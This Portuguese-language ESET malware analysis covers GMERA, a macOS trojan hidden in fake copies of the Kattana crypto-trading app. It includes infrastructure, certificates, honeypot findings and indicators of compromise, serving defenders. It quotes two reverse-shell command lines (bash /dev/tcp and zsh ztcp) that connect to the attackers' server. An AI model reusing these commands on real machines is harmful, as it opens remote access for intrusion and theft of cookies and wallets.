App de trading de criptomoedas para Mac é usado para distribuir malware | WeLiveSecurity

App de trading de criptomoedas para Mac é usado para distribuir malware

Saiba como o malware GMERA, através de apps para compra e venda de criptomoedas direcionados a usuários de dispositivos Mac, tenta roubar informações das vítimas.

Saiba como o malware GMERA, através de apps para compra e venda de criptomoedas direcionados a usuários de dispositivos Mac, tenta roubar informações das vítimas.

Recentemente, descobrimos sites que distribuem aplicativos maliciosos usados para a compra e venda de criptomoedas direcionadas a usuários de dispositivos Mac. O malware usado tenta roubar informações, como cookies do navegador, carteiras de criptomoedas e produzir screenshots. Ao analisar as amostras do malware, descobrimos rapidamente que essa era uma nova campanha chamada pelos pesquisadores da Trend Micro como GMERA em uma análise publicada em setembro de 2019. Como nas campanhas anteriores, o malware se comunica com um servidor C&C através de HTTP e conecta sessões de terminal remotas a outro servidor C&C usando um endereço IP hardcodeado. No entanto, desta vez, os criadores do malware não apenas envolveram a ameaça em um aplicativo original e legítimo, mas também modificaram o nome do aplicativo de Trading Kattana e fizeram cópias do site original. Verificamos as seguintes marcas fictícias sendo usadas em diferentes campanhas: Cointrazer, Cupatrade, Licatrade e Trezarus. Além de analisar o código do malware, os pesquisadores da ESET também criaram honeypots para tentar identificar as motivações do grupo de cibercriminosos por trás desse código malicioso.

Distribuição

Ainda não conseguimos encontrar exatamente onde esses aplicativos trojanizados são promovidos. No entanto, em março de 2020, o app Kattana publicou um alerta sugerindo que as vítimas foram abordadas individualmente com a intenção de induzi-las a baixar um aplicativo trojanizado. Não foi possível confirmar se esse app trojanizado tinham alguma relação com essa campanha em particular, mas isso pode ter ocorrido.

Figura 1. O app Kattana alerta, através do Twitter, sobre cópias trojanizadas do software.

Os sites copiados são configurados para fazer com que o download do aplicativo falso pareça legítimo. Portanto, para uma pessoa que não conhece o app Kattana, os sites aparentemente contam com um desenho legítimo.

Figura 2. Site original (legítimo) do app Kattana.

Figura 3. Site malicioso com o nome do Licatrade que contém um link para baixar o malware.

O botão de download nos sites falsos é um link para um arquivo ZIP que contém o pacote de aplicativos trojanizados.

Análise

A análise do malware neste caso é bem simples. Usaremos a amostra do Licatrade como exemplo para esse caso. Outras amostras têm pequenas diferenças, mas as ideias e as funcionalidades são essencialmente as mesmas. Análises semelhantes de campanhas anteriores do GMERA foram fornecidas nas publicações da Trend Micro e no relatório de malware para Mac de 2019 produzido pela Objective-See.

Figura 4. Conteúdo do pacote do aplicativo Licatrade.

Quando baixamos o arquivo, tanto as modificações nos registros de data e hora dos arquivos contidos no arquivo ZIP, assim como a data em que o aplicativo foi assinado e a última modificação (Last-Modified) do cabeçalho HTTP, indicam o dia 15 de abril de 2020. Portanto, tudo parece indicar que esta campanha começou nessa data.

Um script de shell (run.sh) é incluído nos recursos contidos no pacote de aplicativos. Esse executável principal, escrito em Swift, executa run.sh. Por algum motivo, o criador do malware duplicou a funcionalidade de enviar um relatório simples para um servidor C&C via HTTP e conectar-se a um host remoto via TCP, que fornece um shell remoto aos atacantes, tanto no executável main como no script shell. Uma funcionalidade adicional, apenas no script da shell, configura a persistência através da instalação de um Launch Agent.

Aqui está a fonte completa do script da Shell (reticências em strings mais longas e mais inofensivas):

 

É interessante observar que a persistência é interrompida na amostra do Licatrade: o conteúdo resultante do arquivo Launch Agent (.com.apple.system.plist) não está no formato da lista de propriedades, como o launchd espera, mas é a linha de comando para ser executado.

O conteúdo decodificado (reticências em strings longas) da variável $plist_text é:

 

Se executado, esse código abriria uma reverse shell da máquina vítima para um servidor controlado pelo atacante, mas ocorre uma falha no processo. Felizmente para os atacantes, a última linha do script da shell também inicia uma reverse shell no servidor.

A amostra Cointrazer, usada em campanhas do Licatrade, não sofre com esse problema: o Launch Agent é instalado e inicia com êxito quando o usuário realiza login.

As diversas reverse shell usadas ​​por esses operadores de malware se conectam a diferentes portas remotas, dependendo de como foram iniciadas. Todas as conexões não são criptografadas. Aqui está uma lista de portas, com base na amostra analisada do Licatrade.

TCP PortWhereHow
25733Licatrade executablezsh in screen using ztcp
run.shbash in screen using /dev/tcp
Launch Agent (Not working)bash in screen using /dev/tcp
25734Licatrade executablezsh using ztcp
25735Licatrade executablebash using /dev/tcp
25736Licatrade executablebash in screen using /dev/tcp
25737Licatrade executablebash in screen using /dev/tcp
25738Licatrade executablezsh in screen using ztcp

Aqui estão alguns exemplos de linhas de comando usadas:

  • Bash na tela usando /dev/tcp:

screen -d -m bash -c ‘bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1’

  • zsh usando ztcp:

zsh -c ‘zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY’

O app Kattana com um nome diferente também é encontrado nos recursos do pacote do aplicativo. Queríamos ver se, além da alteração de nome e ícone no aplicativo, algum outro código foi alterado. Como o app Kattana solicita credenciais para plataformas de trading na hora de realizar negociações, verificamos se os campos de entrada foram alterados e se as credenciais foram exfiltradas de alguma forma. O Kattana é construído com o Electron, e os aplicativos Electron têm um arquivo app.asar, que contém o código JavaScript do aplicativo. Verificamos todas as alterações entre o aplicativo Kattana original e a cópia maliciosa do Licatrade e descobrimos que apenas os strings e imagens foram alterados.

Figura 5. Diferença parcial entre o Kattana e o Licatrade.

O Licatrade e seus recursos foram assinados usando o mesmo certificado, em que Andrey Novoselov foi estabelecido no campo nome, usando o ID do desenvolvedor M8WVDT659T. O certificado foi emitido pela Apple em 6 de abril de 2020. Foi revogado no mesmo dia em que notificamos a Apple sobre esse aplicativo malicioso.

Figura 6. Certificado usado para assinar o Licatrade.

Figura 7. O certificado do Licatrade foi revogado em 28 de maio de 2020.

Para cada uma das outras campanhas analisadas, um certificado diferente foi usado. Ambos já foram revogados pela Apple no momento em que iniciamos nossas análises. Veja o IoC ao final deste post para saber mais detalhes. É interessante notar que, no caso do Cointrazer, houve apenas uma diferença de 15 minutos entre o momento em que a Apple emitiu o certificado e os atores maliciosos o usaram para assinar o aplicativo trojanizado. Isso e o fato de não termos encontrado mais nada assinado com a mesma chave sugerem que eles obtiveram o certificado explicitamente para esse propósito.

Infraestrutura

O malware Licatrade estava disponível no site licatrade.com e o domínio do servidor C&C ao qual reporta via HTTP é stepbystepby.com. Ambos os domínios foram registrados usando o endereço de e-mail levistor777@gmail.com. A pesquisa de outros domínios registrados com esse endereço de e-mail revela o que parecem ser campanhas anteriores. Aqui está uma lista de domínios encontrados em amostras ou registrados com esse endereço de e-mail.

Domain nameRegistration dateComment
repbaerray.pw2019-02-25C&C server for HTTP report of Stockfolio app
macstockfolio.com2019-03-03Website distributing the malicious Stockfolio app
latinumtrade.com2019-07-25Website distributing the malicious Latinum app
trezarus.com2019-06-03Website distributing the malicious Trezarus app
trezarus.net2019-08-07
cointrazer.com2019-08-18Website distributing the malicious Cointrazer app
apperdenta.com2019-08-18Usage unknown
narudina.com2019-09-23Usage unknown
nagsrsdfsudinasa.com2019-10-09C&C server for HTTP report of Cointrazer app
cupatrade.com2020-03-28Website distributing the malicious Cupatrade app
stepbystepby.com2020-04-07C&C server for HTTP report of Licatrade app
licatrade.com2020-04-13Website distributing the malicious Licatrade app
creditfinelor.com2020-05-29Empty page, usage unknown
maccatreck.com2020-05-29Some authentication form

Tanto os sites quanto os servidores HTTP para C&C que recebem o primeiro relatório do malware estão hospedados atrás do Cloudflare.

Interações do honeypot

Para obter mais informações sobre as intenções desse grupo, configuramos honeypots a partir dos quais monitoramos todas as interações entre as reverse shell dos backdoors do GMERA e os operadores desse malware.

Não vimos nenhum comando C&C emitido pelo canal do servidor HTTP C&C. Tudo aconteceu através das reverse shell. Quando conectado pela primeira vez, o servidor C&C enviou um script curto para coletar o nome de usuário, a versão do macOS e a localização (com base no endereço IP externo) do dispositivo comprometido.

 

que enviou algo assim para os operadores:

 

A conexão TCP permanece aberta e aguarda mais comandos. No nosso caso, depois de um tempo, os operadores inspecionaram a máquina manualmente. Em vários de nossos honeypots, os comandos usados ​​para executar essa inspeção variaram. Parte disso estava apenas listando arquivos em todo o sistema de arquivos. Às vezes, eles copiavam e colavam um script codificado em base64, projetado para listar informações e revelar se trata-se de um honeypot ou um alvo interessante. O script é decodificado e, em seguida, canalizado para o bash.

Figura 8. Screenshot do pacote no qual o operador envia o script de reconhecimento secundário codificado em base64.

Aqui está o script decodificado:

 

Na verdade, esse script é muito semelhante ao arquivo de plug-in encontrado em uma das amostras do Stockfolio analisadas no ano passado. No entanto, nas campanhas mais recentes, eles escolheram enviar o script de reconhecimento pela rede apenas para vítimas interessantes. Também foi atualizado para incluir informações adicionais.

Figura 9. Relatório de saída que seria visto no terminal de um operador (reconstruído a partir do screenshot dos pacotes).

Vamos revisar cada seção do script aqui:

  • Obtém o relatório completo sobre o IP externo no ipinfo.io.
  • Verifica o modelo do seu Mac usando os últimos 4 dígitos do número de série do Mac e um serviço HTTP fornecido pela Apple para convertê-lo em um nome amigável como “MacBook Pro (Retina, 15 polegadas, final de 2013)”. As máquinas virtuais provavelmente têm números de série inválidos e não mostram um padrão.
  • Fornece informações sobre a versão instalada do macOS. Há um vermelho bastante grande (usando a sequência de escape ANSI), todas as letras maiúsculas avisam quando o computador está executando o macOS Catalina (10.15).
  • Verifica quando o macOS foi instalado usando o tempo de modificação /var/db/.AppleSetupDone.
  • Fornece informações sobre o uso do disco e detalhes dos monitores conectados.
  • Lista as redes Wi-Fi disponíveis. O honeypots provavelmente tenha o Wi-Fi desativado.
  • Detecta se o computador é uma máquina virtual VMware, Parallels ou VirtualBox, examinando as sequências de strings dos fornecedores de dispositivos conectados.
  • Verifica se editores de texto comuns ou aplicativos IDE estão instalados e avisa aos operadores para “serem cuidadosos” (sic), já que a vítima pode ter mais conhecimentos tecnológicos do que o habitual.
  • Obtém os 20 primeiros comandos (ou seja, os mais antigos) no arquivo de histórico do bash.
  • Finalmente, produz um screenshot, redimensiona o mesmo e faz o upload para file.io. Verifica se o sistema está executando o macOS Catalina antes de iniciar o processo, mas um erro de script torna essa verificação inútil. O operador de controle “&”, que inicia comandos paralelos, é usado no lugar do operador lógico AND (“&&”). Isso significa que o screenshot é feito independentemente da versão do macOS.

O fato de um screenshot não ter sido produzido no Catalina e de que um sinal de aviso óbvio seja exibido no terminal do operador nos fez pensar por que eles agem de maneira diferente na versão atual do macOS. Acontece que o Catalina adicionou uma função em que a gravação na tela ou o screenshot devem ser aprovados pelo usuário para cada aplicativo. Tentamos fazer um screenshot do reverse shell no Catalina e recebemos o seguinte aviso em nossa sandbox, o que é bastante suspeito, considerando que um aplicativo comercial não precisa exibir uma mensagem como esta.

Figura 10. Aviso no macOS Catalina caso os operadores tentem produzir um screenshot.

Se um sistema comprometido é considerado interessante, a fase de exfiltração é iniciada. Os arquivos interessantes são compactados em um arquivo ZIP e enviados via HTTP para outro servidor, também sob o controle dos atacantes.

Figura 11. Screenshot do pacote de um operador usando a reverse shell para filtrar os cookies do navegador.

É curioso notar aqui que o arquivo /tmp/h.zip não existia. Talvez eles tenham copiado e colado algum comando que foi usado para outra vítima.

De acordo com a atividade que testemunhamos, concluímos que alguns dos interesses dos operadores desse malware são:

  • Informações do navegador (cookies, histórico)
  • Carteiras de criptomoedas
  • Screenshots

Conclusão

As diversas campanhas realizadas por esse grupo mostram o imenso esforço realizado no ano passado para atacar aos usuários do Mac que realizavam trading de forma on-line. Ainda não temos certeza de como alguém se torna vítima e consegue baixar um dos aplicativos trojanizados, mas a hipótese de que os operadores entram em contato diretamente com seus alvos e os convencem através de engenharia social a instalar o aplicativo malicioso pode ser a situação mais provável.

É interessante observar como a operação desse malware é mais limitada na versão mais recente do macOS. Não vimos os operadores tentando contornar a limitação de produzir screenshots. Além disso, acreditamos que a única maneira de ver a tela do computador de uma vítima executando o Catalina seja através da exfiltrar de screenshots existentes feitas pela vítima. Este é um bom exemplo de implementação de mitigação no sistema operacional que funcionou para limitar as atividades dos criminosos.

Indicadores de Comprometimento (IoCs)

Amostras

SHA-1FilenameESET detection name
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3BLicatrade.zipmultiple threats
560071EF47FE5417FFF62CB5C0E33B0757D197FALicatrade.app/Contents/Resources/run.shOSX/Agent.BA
4C688493958CC7CCCFCB246E706184DD7E2049CELicatrade.app/Contents/MacOS/LicatradeOSX/Agent.BA
9C0D839D1F3DA0577A123531E5B4503587D62229Cointrazer.zipmultiple threats
DA1FDA04D4149EBF93756BCEF758EB860D0791B0Cointrazer.app/Contents/Resources/nytyntrun.shOSX/Agent.AZ
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380Cointrazer.app/Contents/MacOS/CointrazerOSX/Agent.BA
575A43504F79297CBFA900B55C12DC83C2819B46Stockfolio.zipmultiple threats
B8F19B02F9218A8DD803DA1F8650195833057E2CStockfolio.app/Contents/MacOS/StockfoliOSX/Agent.AZ
AF65B1A945B517C4D8BAAA706AA19237F036F023Stockfolio.app/Contents/Resources/run.shOSX/Agent.AZ

Certificado de assinatura de código

App nameFingerprint (SHA-1)Developer identityValid fromApp signed onRevoked on
StockfolioE5D2C7FB4A64EAF444728E5C61F576FF178C5EBFLevis Toretto (9T4J9V8NV5)2018-11-252019-04-182019-07-26
Cointrazer1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55Andrei Sobolev (A265HSB92F)2019-10-172019-10-172020-04-16
LicatradeBDBD92BFF8E349452B07E5F1D2883678658404A3Andrey Novoselov (M8WVDT659T)2020-04-062020-04-152020-05-28

Redes

Nomes de domínio

• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com

Endereços IP

• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97

Indicadores baseados em host

Caminhos do arquivo

• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog

Launch Agent 

• com.apple.apps.upd
• com.apples.apps.upd

Técnicas de MITRE ATT&CK

TacticIDNameDescription
ExecutionT1204User ExecutionVictim needs to run the malicious application to be compromised.
T1059Command-Line InterfaceGMERA provides reverse bash and zsh shells to its operators.
PersistenceT1159Launch AgentGMERA installs a Launch Agent to maintain persistence.
Defense EvasionT1116Code SigningAll samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates.
Credential AccessT1139Bash HistoryA GMERA reconnaissance script lists the first 20 lines of the .bash_history file.
T1539Steal Web Session CookieGMERA’s operators steal browser cookies via a reverse shell.
DiscoveryT1083File and Directory DiscoveryGMERA’s operators list files on the target system via a reverse shell and ls .
T1497Virtualization/Sandbox EvasionA GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine.
T1040Network SniffingA GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s .
T1082System Information DiscoveryA GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model.
T1518Software DiscoveryA GMERA reconnaissance script checks whether developer tools are installed.
CollectionT1005Data from Local SystemGMERA’s operators use this malware to exfiltrate files from the compromised system.
T1113Screen CaptureGMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io.
Command and ControlT1043Commonly Used PortInitial reporting from the malware is done using HTTP on its standard TCP port (80).
T1065Uncommonly Used PortGMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738.
ExfiltrationT1048Exfiltration Over Alternative ProtocolGMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server.

Newsletter

Discussão